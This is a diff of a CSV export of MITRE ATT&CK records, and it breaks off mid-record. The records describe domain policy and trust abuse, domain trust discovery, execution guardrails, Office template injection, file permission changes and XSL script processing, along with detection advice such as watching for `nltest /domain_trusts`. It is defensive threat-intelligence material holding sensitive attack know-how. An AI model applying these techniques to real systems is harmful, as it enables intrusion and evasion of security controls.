Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207). -Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.",attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d,attack-pattern,"['defense-evasion', 'privilege-escalation']",2021-02-09T15:52:24.598Z,2019-03-07T14:10:32.650Z,"It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) +Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1484,mitre-attack,T1484,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Deletion', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']","['System access controls', 'File system access controls']","It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) -Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)","['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Deletion', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']",,"['System access controls', 'File system access controls']","['Administrator', 'User']","['Windows', 'Azure AD']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1482', 'url': 'https://attack.mitre.org/techniques/T1482'}, {'source_name': 'Microsoft Trusts', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)', 'description': 'Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019.'}, {'source_name': 'AdSecurity Forging Trust Tickets', 'url': 'https://adsecurity.org/?p=1588', 'description': 'Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.'}, {'source_name': 'Harmj0y Domain Trusts', 'url': 'http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/', 'description': 'Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.'}, {'source_name': 'Microsoft Operation Wilysupply', 'url': 'https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/', 'description': 'Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.'}, {'source_name': 'Microsoft GetAllTrustRelationships', 'url': 'https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships', 'description': 'Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.1,False,https://attack.mitre.org/techniques/T1482,mitre-attack,T1482,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain Trust Discovery,"Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)",attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0,attack-pattern,['discovery'],2020-09-17T18:26:17.858Z,2019-02-14T16:15:05.974Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained. +Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)",False,"['Administrator', 'User']","['Windows', 'Azure AD']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1482', 'external_id': 'T1482'}, {'source_name': 'Microsoft Trusts', 'description': 'Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)'}, {'source_name': 'AdSecurity Forging Trust Tickets', 'description': 'Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.', 'url': 'https://adsecurity.org/?p=1588'}, {'source_name': 'Harmj0y Domain Trusts', 'description': 'Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.', 'url': 'http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/'}, {'source_name': 'Microsoft Operation Wilysupply', 'description': 'Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.', 'url': 'https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/'}, {'source_name': 'Microsoft GetAllTrustRelationships', 'description': 'Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019.', 'url': 'https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships'}]",1.1,attack-pattern,attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-02-14T16:15:05.974Z,2020-09-17T18:26:17.858Z,Domain Trust Discovery,"Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)",['discovery'],https://attack.mitre.org/techniques/T1482,mitre-attack,T1482,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Dave Westgard', 'Elia Florio, Microsoft', 'Mnemonic', 'RedHuntLabs, @redhuntlabs']","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'Script: Script Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships) -","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'Script: Script Execution']","['Dave Westgard', 'Elia Florio, Microsoft', 'Mnemonic', 'RedHuntLabs, @redhuntlabs']",,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1480', 'url': 'https://attack.mitre.org/techniques/T1480'}, {'source_name': 'FireEye Kevin Mandia Guardrails', 'url': 'https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/', 'description': ""Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.""}, {'source_name': 'FireEye Outlook Dec 2019', 'url': 'https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html', 'description': 'McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,False,https://attack.mitre.org/techniques/T1480,mitre-attack,T1480,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Execution Guardrails,"Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019) +",False,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1480', 'external_id': 'T1480'}, {'source_name': 'FireEye Kevin Mandia Guardrails', 'description': ""Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019."", 'url': 'https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/'}, {'source_name': 'FireEye Outlook Dec 2019', 'description': 'McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html'}]",1.1,attack-pattern,attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-01-31T02:10:08.261Z,2021-06-09T18:53:58.471Z,Execution Guardrails,"Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019) -Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.",attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852,attack-pattern,['defense-evasion'],2020-06-24T18:52:12.956Z,2019-01-31T02:10:08.261Z,"Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.","['Process: Process Creation', 'Command: Command Execution']","['Nick Carr, FireEye']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection', 'Static file analysis']",['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1221', 'url': 'https://attack.mitre.org/techniques/T1221'}, {'url': 'https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)', 'description': 'Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.', 'source_name': 'Microsoft Open XML July 2017'}, {'source_name': 'SANS Brian Wiltse Template Injection', 'url': 'https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780', 'description': 'Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.'}, {'url': 'http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html', 'description': 'Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.', 'source_name': 'Redxorblue Remote Template Injection'}, {'url': 'https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/', 'description': 'Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.', 'source_name': 'MalwareBytes Template Injection OCT 2017'}, {'url': 'https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104', 'description': 'Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.', 'source_name': 'Anomali Template Injection MAR 2018'}, {'url': 'https://blog.talosintelligence.com/2017/07/template-injection.html', 'description': 'Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.', 'source_name': 'Talos Template Injection July 2017'}, {'url': 'https://github.com/ryhanson/phishery', 'description': 'Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.', 'source_name': 'ryhanson phishery SEPT 2016'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.2,False,https://attack.mitre.org/techniques/T1221,mitre-attack,T1221,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Template Injection,"Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017) +Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.",['defense-evasion'],https://attack.mitre.org/techniques/T1480,mitre-attack,T1480,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Nick Carr, Mandiant']","['Process: Process Creation', 'Command: Command Execution']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection', 'Static file analysis']","Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.",False,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1221', 'external_id': 'T1221'}, {'source_name': 'Microsoft Open XML July 2017', 'description': 'Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.', 'url': 'https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)'}, {'source_name': 'SANS Brian Wiltse Template Injection', 'description': 'Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780'}, {'source_name': 'Redxorblue Remote Template Injection', 'description': 'Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.', 'url': 'http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html'}, {'source_name': 'MalwareBytes Template Injection OCT 2017', 'description': 'Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/'}, {'source_name': 'Anomali Template Injection MAR 2018', 'description': 'Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.', 'url': 'https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104'}, {'source_name': 'Talos Template Injection July 2017', 'description': 'Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.', 'url': 'https://blog.talosintelligence.com/2017/07/template-injection.html'}, {'source_name': 'ryhanson phishery SEPT 2016', 'description': 'Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.', 'url': 'https://github.com/ryhanson/phishery'}]",1.2,attack-pattern,attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2020-04-29T14:37:59.462Z,Template Injection,"Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017) Properties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded. Adversaries may abuse this technology to initially conceal malicious code to be executed via documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017) -This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)",attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534,attack-pattern,['defense-evasion'],2020-04-29T14:37:59.462Z,2018-10-17T00:14:20.652Z,"Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']","['Brian Wiltse @evalstrings', 'Patrick Campbell, @pjcampbe11']",['Static File Analysis'],['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1220', 'url': 'https://attack.mitre.org/techniques/T1220'}, {'url': 'https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script', 'description': 'Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018.', 'source_name': 'Microsoft XSLT Script Mar 2017'}, {'url': 'https://www.microsoft.com/download/details.aspx?id=21714', 'description': 'Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.', 'source_name': 'Microsoft msxsl.exe'}, {'url': 'https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/', 'description': 'netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018.', 'source_name': 'Penetration Testing Lab MSXSL July 2017'}, {'url': 'https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/', 'description': 'Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.', 'source_name': 'Reaqta MSXSL Spearphishing MAR 2018'}, {'description': 'Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019.', 'url': 'https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75', 'source_name': 'XSL Bypass Mar 2019'}, {'source_name': 'LOLBAS Wmic', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Wmic/', 'description': 'LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.'}, {'url': 'https://twitter.com/dez_/status/986614411711442944', 'description': 'Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018.', 'source_name': 'Twitter SquiblyTwo Detection APR 2018'}]","[{'phase_name': 'defense-evasion', 'kill_chain_name': 'mitre-attack'}]",1.2,False,https://attack.mitre.org/techniques/T1220,mitre-attack,T1220,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,XSL Script Processing,"Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017) +This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)",['defense-evasion'],https://attack.mitre.org/techniques/T1221,mitre-attack,T1221,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Brian Wiltse @evalstrings', 'Patrick Campbell, @pjcampbe11']","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",['Static File Analysis'],"Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.",False,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1222', 'external_id': 'T1222'}, {'source_name': 'Hybrid Analysis Icacls1 June 2018', 'description': 'Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.', 'url': 'https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100'}, {'source_name': 'Hybrid Analysis Icacls2 May 2018', 'description': 'Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.', 'url': 'https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110'}, {'source_name': 'EventTracker File Permissions Feb 2014', 'description': 'Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.', 'url': 'https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/'}]",2.1,attack-pattern,attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2021-09-13T21:08:10.406Z,File and Directory Permissions Modification,"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). + +Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",['defense-evasion'],https://attack.mitre.org/techniques/T1222,mitre-attack,T1222,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['CrowdStrike Falcon OverWatch', 'Jan Miller, CrowdStrike']","['Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Metadata']",['File system access controls'],"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. + +Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)",False,"['User', 'Administrator', 'SYSTEM', 'root']","['Linux', 'Windows', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1220', 'external_id': 'T1220'}, {'source_name': 'Microsoft XSLT Script Mar 2017', 'description': 'Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018.', 'url': 'https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script'}, {'source_name': 'Microsoft msxsl.exe', 'description': 'Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.', 'url': 'https://www.microsoft.com/download/details.aspx?id=21714'}, {'source_name': 'Penetration Testing Lab MSXSL July 2017', 'description': 'netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018.', 'url': 'https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/'}, {'source_name': 'Reaqta MSXSL Spearphishing MAR 2018', 'description': 'Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.', 'url': 'https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/'}, {'source_name': 'XSL Bypass Mar 2019', 'description': 'Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019.', 'url': 'https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75'}, {'source_name': 'LOLBAS Wmic', 'description': 'LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Wmic/'}, {'source_name': 'Twitter SquiblyTwo Detection APR 2018', 'description': 'Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018.', 'url': 